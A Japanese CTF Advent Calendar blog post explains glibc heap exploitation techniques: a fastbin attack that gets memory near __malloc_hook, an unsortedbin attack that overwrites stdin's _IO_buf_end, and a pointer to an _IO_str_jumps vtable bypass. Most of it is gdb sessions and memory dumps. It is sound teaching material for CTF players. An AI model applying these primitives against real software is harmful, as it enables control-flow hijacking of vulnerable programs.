最近のCTFで出題されるglibc heap問で個人的によく使うテクニックについて - ブログ未満のなにか

ブログ未満のなにか

ブログなのか誰にも分からない

最近のCTFで出題されるglibc heap問で個人的によく使うテクニックについて

はじめに

これは CTF Advent Calendar 2018 - Adventar の8日目の記事です。 7日目は、@bata_24 さんの 「WCTF 2018 - klist Writeup - HackMD 」でした。

この記事は、タイトル通りに私が個人的に「よく使うなぁ・他のwriteupでよく見るなぁ」と感じたテクニックの紹介です。 ですが紹介なので、glibc heapの挙動について詳細な説明は特にしないです。 テクニックが何故通用するのかは各自でソースコード読んで理解してください。 また、glibcのバージョンによっては通用しないものもあるので注意してください。 テクニックの名前自体はクソ適当です。

fastbin attack with 0x70 chunk

概要

結構前から汎用的に使われているテクニック。 fastbinに繋がれたチャンクをmalloc()などで取り出す時に、チェックが甘いことに起因する。 libcのdata, bssにあるデータを利用して、その付近のメモリをmalloc()で取得するテクニック。

使用条件

  • UAFやheap bofなどで、free済みのチャンクのfdを任意に制御できる
  • 0x59から0x68までのサイズでmalloc()を呼べる
  • libcのアドレスが分かっている(これが絶対かは問題による)

やり方

x64のlinuxでは、libcなどのライブラリが配置されるアドレスは、0x7fXX_XXXXXXXXとなっている。 アドレスをズラして見ると、0x7fと見ることができ、fastbinに繋げられるchunkのsizeとしてvalidになる。 つまり、fastbin関連のチェックをすり抜けられる。

__malloc_hookをターゲットとした例を説明する。 今回の__malloc_hookが存在するアドレスは、0x7ffff7dd1b10となっている。 それよりも前のメモリがどうなっているか調べると、いくつか0x7fXX_XXXXXXXXとなる値が存在する。 これを数byteズラして見ると、0x7fをサイズとして利用できる。

__malloc_hookのアドレス
gdb-peda$ p &__malloc_hook
$3 = (void *(**)(size_t, const void *)) 0x7ffff7dd1b10 <__malloc_hook>

適当に数byte前を見てみる
gdb-peda$ x/8gx 0x7ffff7dd1b10-0x20
0x7ffff7dd1af0 <_IO_wide_data_0+304>: 0x00007ffff7dd0260  0x0000000000000000
0x7ffff7dd1b00 <__memalign_hook>: 0x00007ffff7a92e20  0x00007ffff7a92a00
0x7ffff7dd1b10 <__malloc_hook>:   0x0000000000000000  0x0000000000000000
0x7ffff7dd1b20 <main_arena>:  0x0000000000000000  0x0000000000000000

適当にズラして0x7fとする
gdb-peda$ x/8gx 0x7ffff7dd1b10-0x20-3
0x7ffff7dd1aed <_IO_wide_data_0+301>: 0xfff7dd0260000000  0x000000000000007f
0x7ffff7dd1afd: 0xfff7a92e20000000  0xfff7a92a0000007f
0x7ffff7dd1b0d <__realloc_hook+5>:    0x000000000000007f  0x0000000000000000
0x7ffff7dd1b1d: 0x0000000000000000  0x0000000000000000

今、0x70のチャンクがfastbinに繋がっている。 このチャンクのfdに先ほどのアドレス(0x7ffff7dd1aed)を書き込み、リストに繋げる。 そしてmalloc()していくと、その領域を取ることができる。

sizeが0x70のchunkが1つ存在しfreeされて、fastbinに繋がっている。
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x602000 --> 0x0
(0x80)     fastbin[6]: 0x0
                  top: 0x6020e0 (size : 0x20f20)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0

そのchunkのfdを、uafなどで上書きできたと想定して、先ほどのアドレスを書き込む
gdb-peda$ set {long}0x602010=0x7ffff7dd1aed

エラーと言われるが気にしない
gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x602000 --> 0x7ffff7dd1aed (size error (0x78)) --> 0xfff7a92e20000000 (invaild memory)
(0x80)     fastbin[6]: 0x0
                  top: 0x6020e0 (size : 0x20f20)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0

先ほどのメモリがmalloc()で返ってくる
gdb-peda$ call malloc(0x68)
$5 = (void *) 0x602010
gdb-peda$ call malloc(0x68)
$6 = (void *) 0x7ffff7dd1afd

unsotedbin attack to libc data region

概要

これも結構前からあるテクニック。 unsortedbin attackは、結果として任意の箇所に0x7fXX_XXXXXXXXとなる値を書き込むことができるが、どこに対して書き込むのかという話。 stdin/stdoutのバッファのポインタを書き換えて、バッファの範囲を変えると良い。

前提条件

  • unsortedbin attackができる
  • libcのアドレスが分かっている

やり方

よくやる/見るのが、stdinが持つbufのポインタに対して。 pwnで出題されるバイナリは、入出力のバッファリングを無効にしているケースが多い。 無効といっても、stdin/stdoutが持つメンバである_shortbufをバッファとして使用している。 scanf()などが呼ばれると、_shortbufにデータが書き込まれている。 バッファを指すポインタをunsortedbin attackで上書きして、バッファと見なす範囲を広げて不正に上書きできる状態を作り出すのが、このテクニックの肝である。

例を上げて流れを説明する。 例では、stdinの_IO_write_endをunsortedbin attackで上書きする。

setbuf(stdin, NULL)を実行した後のstdinの状態は以下のようになっている。 read/write用のバッファは、stdinの内部に持っている_shortbufを指している。

gdb-peda$ x/32gx 0x7ffff7dd18e0
0x7ffff7dd18e0 <_IO_2_1_stdin_>:  0x00000000fbad208b  0x00007ffff7dd1963
0x7ffff7dd18f0 <_IO_2_1_stdin_+16>:   0x00007ffff7dd1963  0x00007ffff7dd1963
0x7ffff7dd1900 <_IO_2_1_stdin_+32>:   0x00007ffff7dd1963  0x00007ffff7dd1963
0x7ffff7dd1910 <_IO_2_1_stdin_+48>:   0x00007ffff7dd1963  0x00007ffff7dd1963
0x7ffff7dd1920 <_IO_2_1_stdin_+64>:   0x00007ffff7dd1964  0x0000000000000000
0x7ffff7dd1930 <_IO_2_1_stdin_+80>:   0x0000000000000000  0x0000000000000000
0x7ffff7dd1940 <_IO_2_1_stdin_+96>:   0x0000000000000000  0x0000000000000000
0x7ffff7dd1950 <_IO_2_1_stdin_+112>:  0x0000000000000000  0xffffffffffffffff
0x7ffff7dd1960 <_IO_2_1_stdin_+128>:  0x0000000000000000  0x00007ffff7dd3790
0x7ffff7dd1970 <_IO_2_1_stdin_+144>:  0xffffffffffffffff  0x0000000000000000
0x7ffff7dd1980 <_IO_2_1_stdin_+160>:  0x00007ffff7dd19c0  0x0000000000000000
0x7ffff7dd1990 <_IO_2_1_stdin_+176>:  0x0000000000000000  0x0000000000000000
0x7ffff7dd19a0 <_IO_2_1_stdin_+192>:  0x0000000000000000  0x0000000000000000
0x7ffff7dd19b0 <_IO_2_1_stdin_+208>:  0x0000000000000000  0x00007ffff7dd06e0
0x7ffff7dd19c0 <_IO_wide_data_0>: 0x0000000000000000  0x0000000000000000
0x7ffff7dd19d0 <_IO_wide_data_0+16>:  0x0000000000000000  0x0000000000000000

gdb-peda$ p *(struct _IO_FILE *) 0x7ffff7dd18e0
$5 = {
  _flags = 0xfbad208b,
  _IO_read_ptr = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "",
  _IO_read_end = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "",
  _IO_read_base = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "",
  _IO_write_base = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "",
  _IO_write_ptr = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "",
  _IO_write_end = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "",
  _IO_buf_base = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "",
  _IO_buf_end = 0x7ffff7dd1964 <_IO_2_1_stdin_+132> "",
  _IO_save_base = 0x0,
  _IO_backup_base = 0x0,
  _IO_save_end = 0x0,
  _markers = 0x0,
  _chain = 0x0,
  _fileno = 0x0,
  _flags2 = 0x0,
  _old_offset = 0xffffffffffffffff,
  _cur_column = 0x0,
  _vtable_offset = 0x0,
  _shortbuf = "",
  _lock = 0x7ffff7dd3790 <_IO_stdfile_0_lock>,
  _offset = 0xffffffffffffffff,
  _codecvt = 0x0,
  _wide_data = 0x7ffff7dd19c0 <_IO_wide_data_0>,
  _freeres_list = 0x0,
  _freeres_buf = 0x0,
  __pad5 = 0x0,
  _mode = 0x0,
  _unused2 = '\000' <repeats 19 times>
}

今、0x110byteのサイズを持つチャンクがunsortedbinに繋がっている。 このチャンクのbkを書き換えて、malloc(0x100)を実行すると、unsortedbin attackが発生する。 stdinの内部に書き込まれた0x7ffff7dd1b78をバッファの終端として使用するようになるため、大きくlibcの中身に書き込める状態を作れた。

unsortedbinが1つ存在している。
gdb-peda$ parseheap
addr                prev                size                 status              fd                bk
0x602000            0x0                 0x110                Freed     0x7ffff7dd1b78    0x7ffff7dd1b78

bkを上書きする
gdb-peda$ set {long}0x602018=0x7ffff7dd1910

gdb-peda$ parseheap
addr                prev                size                 status              fd                bk
0x602000            0x0                 0x110                Freed     0x7ffff7dd1b78    0x7ffff7dd1910

malloc()を呼んで、unsortedbin attackを起こす
gdb-peda$ call malloc(0x100)
$7 = (void *) 0x602010

stdinの状態を確認すると、_IO_buf_endが書き換わっている。
gdb-peda$ x/20gx 0x7ffff7dd18e0
0x7ffff7dd18e0 <_IO_2_1_stdin_>:  0x00000000fbad208b  0x00007ffff7dd1963
0x7ffff7dd18f0 <_IO_2_1_stdin_+16>:   0x00007ffff7dd1963  0x00007ffff7dd1963
0x7ffff7dd1900 <_IO_2_1_stdin_+32>:   0x00007ffff7dd1963  0x00007ffff7dd1963
0x7ffff7dd1910 <_IO_2_1_stdin_+48>:   0x00007ffff7dd1963  0x00007ffff7dd1963
0x7ffff7dd1920 <_IO_2_1_stdin_+64>:   0x00007ffff7dd1b78  0x0000000000000000

gdb-peda$ p *(struct _IO_FILE *) 0x7ffff7dd18e0
$8 = {
  _flags = 0xfbad208b,
  _IO_read_ptr = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "",
  _IO_read_end = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "",
  _IO_read_base = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "",
  _IO_write_base = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "",
  _IO_write_ptr = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "",
  _IO_write_end = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "",
  _IO_buf_base = 0x7ffff7dd1963 <_IO_2_1_stdin_+131> "",
  _IO_buf_end = 0x7ffff7dd1b78 <main_arena+88> "\200!`",

_IO_str_jumps

stdin/stdoutなどにはvtableのポインタがあり、制御を奪取する際の狙い目である。 そのためかポインタが正常なものかチェックが入るようになった。 回避方法として、_IO_str_jumpsは手軽で汎用性が高い。

詳しくは以下のリンク先を参照

veritas501.space

おわりに

ということで、以上が個人的によく使うテクニックでした。

明日は、@N4NU さんの「各種OSのUserlandにおけるPwn入門」です。 windowslinux以外のosについても紹介されそうなタイトルで、楽しみですね。

あと宣伝ですが、1人1日1writeup advent calendarというのを細々とやっています。 そちらも良かったら読んでいってください。 ただ既にwriteupのストックはないし、修論などで禿げそうなのでadvent calendarは失敗しました。

hama.hatenadiary.jp